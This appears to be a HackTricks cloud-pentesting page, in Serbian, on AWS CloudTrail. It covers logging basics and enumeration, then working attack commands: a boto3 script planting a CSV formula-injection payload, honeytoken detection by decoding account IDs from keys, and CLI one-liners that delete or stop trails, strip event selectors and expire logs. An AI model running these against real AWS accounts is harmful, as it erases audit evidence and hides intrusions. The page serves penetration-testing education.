# AWS - CloudTrail Enum

{{#include ../../../../banners/hacktricks-training.md}}

## **CloudTrail**

AWS CloudTrail **beleži i prati aktivnost unutar vašeg AWS okruženja**. Zapisuje detaljne **logove događaja**, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža audit trail promena i akcija, pomažući u analizi bezbednosti, reviziji usklađenosti i praćenju promena resursa. CloudTrail je ključan za razumevanje ponašanja korisnika i resursa, poboljšanje bezbednosnih postura i osiguranje usklađenosti sa propisima.

Svaki zabeleženi događaj sadrži:

- Ime pozvane API: `eventName`
- Pozvana usluga: `eventSource`
- Vreme: `eventTime`
- IP adresa: `SourceIPAddress`
- Metoda agenta: `userAgent`. Primeri:
- Signing.amazonaws.com - Iz AWS Management Console
- console.amazonaws.com - Root korisnik naloga
- lambda.amazonaws.com - AWS Lambda
- Parametri zahteva: `requestParameters`
- Elementi odgovora: `responseElements`

Događaji se upisuju u novu log datoteku **približno svake 5 minuta u JSON datoteci**, drže ih CloudTrail i na kraju, log datoteke se **isporučuju u S3 približno 15 minuta nakon**.\
CloudTrail logovi se mogu **agregirati između naloga i između regiona.**\
CloudTrail omogućava korišćenje **integriteta log datoteka kako biste mogli da verifikujete da vaše log datoteke nisu promenjene** od trenutka kada ih je CloudTrail isporučio. Kreira SHA-256 hash logova unutar digest datoteke. SHA-256 hash novih logova se kreira svake sat vremena.\
Kada kreirate Trail, selektori događaja će vam omogućiti da označite trail za logovanje: upravljanje, podaci ili uvidi.

Logovi se čuvaju u S3 bucket-u. Po defaultu se koristi enkripcija sa servera (SSE-S3) tako da AWS dekriptuje sadržaj za ljude koji imaju pristup, ali za dodatnu bezbednost možete koristiti SSE sa KMS i vašim sopstvenim ključevima.

Logovi se čuvaju u **S3 bucket-u sa ovim formatom imena**:

- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
- Gde je BucketName: **`aws-cloudtrail-logs-<accountid>-<random>`**
- Primer: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**

Unutar svake fascikle svaki log će imati **ime koje prati ovaj format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**

Log File Naming Convention

![](<../../../../images/image (122).png>)

Pored toga, **digest datoteke (za proveru integriteta datoteka)** će biti unutar **iste bucket** u:

![](<../../../../images/image (195).png>)

### Agregiranje logova iz više naloga

- Kreirajte Trail u AWS nalogu u koji želite da se log datoteke isporuče
- Primijenite dozvole na odredišni S3 bucket omogućavajući pristup između naloga za CloudTrail i dozvolite svakom AWS nalogu koji treba pristup
- Kreirajte novi Trail u drugim AWS nalozima i izaberite da koristite kreirani bucket u koraku 1

Međutim, čak i ako možete sačuvati sve logove u istom S3 bucket-u, ne možete agregirati CloudTrail logove iz više naloga u CloudWatch Logs koji pripada jednom AWS nalogu.

> [!CAUTION]
> Zapamtite da nalog može imati **različite Trails** iz CloudTrail **omogućenih** koji čuvaju iste (ili različite) logove u različitim bucket-ima.

### Cloudtrail iz svih org naloga u 1

Kada kreirate CloudTrail, moguće je označiti da se aktivira cloudtrail za sve naloge u organizaciji i da se logovi dobiju u samo 1 bucket:

<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>

Na ovaj način možete lako konfigurisati CloudTrail u svim regionima svih naloga i centralizovati logove u 1 nalog (koji treba da zaštitite).

### Provera log datoteka

Možete proveriti da logovi nisu izmenjeni pokretanjem
```javascript
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
```
### Logs to CloudWatch

**CloudTrail može automatski slati logove u CloudWatch kako biste mogli postaviti upozorenja koja vas obaveštavaju kada se izvrše sumnjive aktivnosti.**\
Imajte na umu da je za omogućavanje CloudTrail-u da šalje logove u CloudWatch potrebno kreirati **ulogu** koja omogućava tu akciju. Ako je moguće, preporučuje se korišćenje AWS podrazumevane uloge za izvršavanje ovih akcija. Ova uloga će omogućiti CloudTrail-u da:

- CreateLogStream: Ovo omogućava kreiranje CloudWatch Logs log stream-ova
- PutLogEvents: Dostavlja CloudTrail logove u CloudWatch Logs log stream

### Event History

CloudTrail Event History vam omogućava da pregledate u tabeli logove koji su zabeleženi:

![](<../../../../images/image (89).png>)

### Insights

**CloudTrail Insights** automatski **analizira** write management događaje iz CloudTrail tragova i **upozorava** vas na **neobične aktivnosti**. Na primer, ako dođe do povećanja `TerminateInstance` događaja koji se razlikuje od utvrđenih osnovica, videćete to kao Insight događaj. Ovi događaji olakšavaju **pronalazak i reagovanje na neobične API aktivnosti** kao nikada pre.

Uvidi se čuvaju u istom bucket-u kao CloudTrail logovi u: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`

### Security
| Control Name	                       |  Implementation Details                                                                                                                                                                                                                                                                                                                                     |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| CloudTrail Log File Integrity        | <ul><li>Proverite da li su logovi menjani (modifikovani ili obrisani)</li><li><p>Koristi digest fajlove (kreira hash za svaki fajl)</p><ul><li>SHA-256 hashing</li><li>SHA-256 sa RSA za digitalno potpisivanje</li><li>privatni ključ u vlasništvu Amazona</li></ul></li><li>Traje 1 sat da se kreira digest fajl (radi se svake pune sate)</li></ul> |
| Stop unauthorized access             | <ul><li><p>Koristite IAM politike i S3 bucket politike</p><ul><li>bezbednosni tim —> admin pristup</li><li>auditori —> samo za čitanje</li></ul></li><li>Koristite SSE-S3/SSE-KMS za enkripciju logova</li></ul>                                                                                                                                        |
| Prevent log files from being deleted | <ul><li>Ograničite pristup brisanju sa IAM i bucket politikama</li><li>Konfigurišite S3 MFA brisanje</li><li>Proverite sa Log File Validation</li></ul>                                                                                                                                                                                            |

## Access Advisor

AWS Access Advisor se oslanja na poslednjih 400 dana AWS **CloudTrail logova kako bi prikupio svoje uvide**. CloudTrail beleži istoriju AWS API poziva i povezanih događaja izvršenih u AWS nalogu. Access Advisor koristi ove podatke da **prikaže kada su usluge poslednji put korišćene**. Analizom CloudTrail logova, Access Advisor može odrediti koje AWS usluge je IAM korisnik ili uloga koristila i kada je taj pristup izvršen. Ovo pomaže AWS administratorima da donesu informisane odluke o **usavršavanju dozvola**, jer mogu identifikovati usluge koje nisu korišćene duži vremenski period i potencijalno smanjiti preširoke dozvole na osnovu stvarnih obrazaca korišćenja.

> [!TIP]
> Stoga, Access Advisor obaveštava o **nepotrebnim dozvolama koje se daju korisnicima** kako bi administrator mogao da ih ukloni

<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>

## Actions

### Enumeration
```bash
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
```
### **CSV Injection**

Moguće je izvršiti CVS injekciju unutar CloudTrail-a koja će izvršiti proizvoljan kod ako se logovi eksportuju u CSV i otvore u Excel-u.\
Sledeći kod će generisati log unos sa lošim imenom Trail koje sadrži payload:
```python
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)
```
Za više informacija o CSV injekcijama, proverite stranicu:

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
{{#endref}}

Za više informacija o ovoj specifičnoj tehnici, proverite [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)

## **Zaobilaženje detekcije**

### HoneyTokens **zaobilaženje**

Honeytokens su kreirani da **otkriju eksfiltraciju osetljivih informacija**. U slučaju AWS-a, to su **AWS ključevi čija se upotreba prati**, ako nešto pokrene akciju sa tim ključem, onda je neko morao ukrasti taj ključ.

Međutim, Honeytokens poput onih koje kreiraju [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) koriste prepoznatljivo ime naloga ili koriste isti AWS ID naloga za sve svoje korisnike. Stoga, ako možete dobiti ime naloga i/ili ID naloga bez da Cloudtrail kreira bilo kakav log, **možete znati da li je ključ honeytoken ili ne**.

[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) ima neka pravila za detekciju da li ključ pripada [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**

- Ako se **`canarytokens.org`** pojavljuje u imenu uloge ili se ID naloga **`534261010715`** pojavljuje u poruci o grešci.
- Testirajući ih nedavno, koriste nalog **`717712589309`** i još uvek ima **`canarytokens.com`** string u imenu.
- Ako se **`SpaceCrab`** pojavljuje u imenu uloge u poruci o grešci
- **SpaceSiren** koristi **uuids** za generisanje korisničkih imena: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- Ako **ime izgleda kao nasumično generisano**, postoji velika verovatnoća da je to HoneyToken.

#### Dobijanje ID naloga iz ID ključa

Možete dobiti **ID naloga** iz **kodiranog** unutar **pristupnog ključa** kao [**objašnjeno ovde**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) i proveriti ID naloga sa vašom listom Honeytokens AWS naloga:
```python
import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
```
Proverite više informacija u [**originalnom istraživanju**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).

#### Ne generišite log

Najefikasnija tehnika za ovo je zapravo jednostavna. Samo koristite ključ koji ste upravo pronašli da pristupite nekoj usluzi unutar svog napadačkog naloga. Ovo će **CloudTrail generisati log unutar VAŠEG AWS naloga, a ne unutar žrtve**.

Stvar je u tome da će izlaz prikazati grešku koja ukazuje na ID naloga i ime naloga, tako da **ćete moći da vidite da li je to Honeytoken**.

#### AWS usluge bez logova

U prošlosti je bilo nekih **AWS usluga koje ne šalju logove u CloudTrail** (pronađite [listu ovde](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Neke od tih usluga će **odgovoriti** sa **greškom** koja sadrži **ARN ključne uloge** ako neko neovlašćeno (honeytoken ključ) pokuša da pristupi.

Na ovaj način, **napadač može dobiti ARN ključa bez aktiviranja bilo kakvog loga**. U ARN-u napadač može videti **AWS ID naloga i ime**, lako je znati ID i imena kompanija HoneyToken-a, tako da na ovaj način napadač može identifikovati da li je token HoneyToken.

![](<../../../../images/image (93).png>)

> [!CAUTION]
> Imajte na umu da su sve javne API-jeve za koje je otkriveno da ne kreiraju CloudTrail logove sada ispravljene, tako da možda treba da pronađete svoje...
>
> Za više informacija proverite [**originalno istraživanje**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).

### Pristupanje trećoj infrastrukturi

Određene AWS usluge će **stvoriti neku infrastrukturu** kao što su **Baze podataka** ili **Kubernetes** klasteri (EKS). Korisnik koji **direktno komunicira sa tim uslugama** (kao što je Kubernetes API) **neće koristiti AWS API**, tako da CloudTrail neće moći da vidi ovu komunikaciju.

Stoga, korisnik sa pristupom EKS-u koji je otkrio URL EKS API-ja mogao bi lokalno generisati token i **direktno komunicirati sa API uslugom bez da bude otkriven od strane Cloudtrail-a**.

Više informacija u:

{{#ref}}
../../aws-post-exploitation/aws-eks-post-exploitation.md
{{#endref}}

### Modifikovanje CloudTrail konfiguracije

#### Obriši tragove
```bash
aws cloudtrail delete-trail --name [trail-name]
```
#### Zaustavite tragove
```bash
aws cloudtrail stop-logging --name [trail-name]
```
#### Onemogućite višeregionalno logovanje
```bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
```
#### Onemogućite logovanje pomoću selektora događaja
```bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
```
U prvom primeru, jedan selektor događaja je dat kao JSON niz sa jednim objektom. `"ReadWriteType": "ReadOnly"` označava da **selektor događaja treba da hvata samo događaje za čitanje** (tako da CloudTrail uvidi **neće proveravati write** događaje, na primer).

Možete prilagoditi selektor događaja na osnovu vaših specifičnih zahteva.

#### Brisanje logova putem S3 lifecycle politike
```bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
```
### Modifying Bucket Configuration

- Obrišite S3 bucket
- Promenite politiku bucket-a da odbije sve upise iz CloudTrail servisa
- Dodajte politiku životnog ciklusa S3 bucket-u da obriše objekte
- Onemogućite kms ključ koji se koristi za enkripciju CloudTrail logova

### Cloudtrail ransomware

#### S3 ransomware

Možete **generisati asimetrični ključ** i naterati **CloudTrail da enkriptuje podatke** tim ključem i **obrisati privatni ključ** tako da se sadržaj CloudTrail-a ne može povratiti.\
Ovo je u suštini **S3-KMS ransomware** objašnjeno u:

{{#ref}}
../../aws-post-exploitation/aws-s3-post-exploitation.md
{{#endref}}

**KMS ransomware**

Ovo je najlakši način da se izvede prethodni napad sa različitim zahtevima za dozvole:

{{#ref}}
../../aws-post-exploitation/aws-kms-post-exploitation.md
{{#endref}}

## **References**

- [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)

{{#include ../../../../banners/hacktricks-training.md}}
